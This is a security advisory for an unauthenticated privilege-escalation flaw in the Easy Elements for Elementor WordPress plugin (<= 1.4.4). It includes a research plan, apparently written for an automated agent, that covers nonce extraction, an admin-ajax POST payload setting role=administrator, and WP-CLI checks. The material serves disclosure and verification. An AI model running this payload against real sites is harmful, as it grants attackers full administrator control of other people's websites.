Easy Elements for Elementor <= 1.4.4 - Unauthenticated Privilege Escalation via easyel_handle_register
Description
The Easy Elements for Elementor – Addons & Website Templates plugin for WordPress is vulnerable to privilege escalation via user registration in all versions up to, and including, 1.4.4. This is due to the 'easyel_handle_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.4.5
Source Code
WordPress.org SVNThis research plan outlines the steps to verify the Critical Privilege Escalation vulnerability in the **Easy Elements for Elementor** plugin (<= 1.4.4). ## 1. Vulnerability Summary The vulnerability exists within the `easyel_handle_register` function (likely an AJAX handler). The function is respo…
Show full research plan
This research plan outlines the steps to verify the Critical Privilege Escalation vulnerability in the Easy Elements for Elementor plugin (<= 1.4.4).
1. Vulnerability Summary
The vulnerability exists within the easyel_handle_register function (likely an AJAX handler). The function is responsible for processing user registrations via a plugin-provided widget or form. The flaw is a lack of server-side validation or restriction on the role parameter. By default, WordPress registration should assign the role defined in "Settings > General" (usually subscriber), but this function allows the client to specify the role, enabling unauthenticated users to register as an administrator.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
easyel_handle_register(Registered for unauthenticated users viawp_ajax_nopriv_easyel_handle_register). - Vulnerable Parameter:
role(or potentially a nested array key). - Preconditions:
- The plugin must be active.
- WordPress "Anyone can register" setting may need to be enabled (though the plugin might bypass this check).
- A valid AJAX nonce for the registration action is required.
3. Code Flow (Inferred)
- An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=easyel_handle_register. - The
easyel_handle_registerfunction is invoked. - The function extracts user details from
$_POST(e.g.,user_login,user_email,password, androle). - The function calls
wp_insert_user($userdata)where$userdata['role']is directly populated from theroleparameter without being checked against a whitelist. - The user is created with the
administratorrole.
4. Nonce Acquisition Strategy
The registration function likely requires a nonce for security. Since this is an unauthenticated action, the nonce must be exposed on a public-facing page where the registration widget is used.
- Identify the Trigger: The registration functionality is typically part of an "User Registration" Elementor widget.
- Create a Target Page:
wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[easyel_registration_form]'(Note:[easyel_registration_form]is an inferred shortcode; if it's an Elementor widget, the agent should create a page and use the Elementor editor or find an existing registration page).
- Extract the Nonce:
- Navigate to the page using
browser_navigate. - Search the HTML for localized data. Based on
Admin_Settings.php, nonces are often stored in an object likeeasyElementsData. - Inferred JS Key:
window.easyel_registration_data?.nonceor similar. - Execution:
browser_eval("window.easyElementsData?.nonce || window.easyel_localize?.nonce").
- Navigate to the page using
5. Exploitation Strategy
The agent will attempt to register a new administrator via a direct AJAX request.
- Tool:
http_request - Method:
POST - URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
(Note: Parameter names likeaction=easyel_handle_register& user_login=hacker_admin& user_email=hacker@example.com& user_password=Password123!& confirm_password=Password123!& role=administrator& security={{NONCE}}user_passwordandsecurityare inferred from common WordPress registration patterns and theeasyel_save_user_data_callbackfound inAdmin_Settings.phpwhich usessecurityfor its nonce check.)
6. Test Data Setup
- Install/Activate Plugin: Ensure
easy-elementsversion 1.4.4 is installed. - Plugin Settings: Ensure the Registration feature is enabled if there is a global toggle in the plugin dashboard.
- WP Settings: Set
wp option update users_can_register 1. - Registration Page: Create a page that includes the Easy Elements registration form to facilitate nonce extraction.
7. Expected Results
- Successful Exploit: The server returns a JSON success message (e.g.,
{"success":true,"data":{...}}). - Failure: The server returns
403 Forbidden(nonce fail) or400 Bad Request(missing action), or creates a user with thesubscriberrole instead ofadministrator.
8. Verification Steps
After the HTTP request, use WP-CLI to verify the privilege escalation:
- Check User Existence:
wp user list --field=user_login(Should seehacker_admin). - Check User Role:
wp user get hacker_admin --field=roles(Should returnadministrator).
9. Alternative Approaches
If role is not the correct parameter name, check for:
user_roleuserdata[role]settings[role](Mapping from theeasyel_save_user_data_callbackpattern seen in the source).
If the easyel_handle_register action is not found, search the plugin directory for the string wp_ajax_nopriv_ to identify the correct registration action name:grep -r "wp_ajax_nopriv_" wp-content/plugins/easy-elements/
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.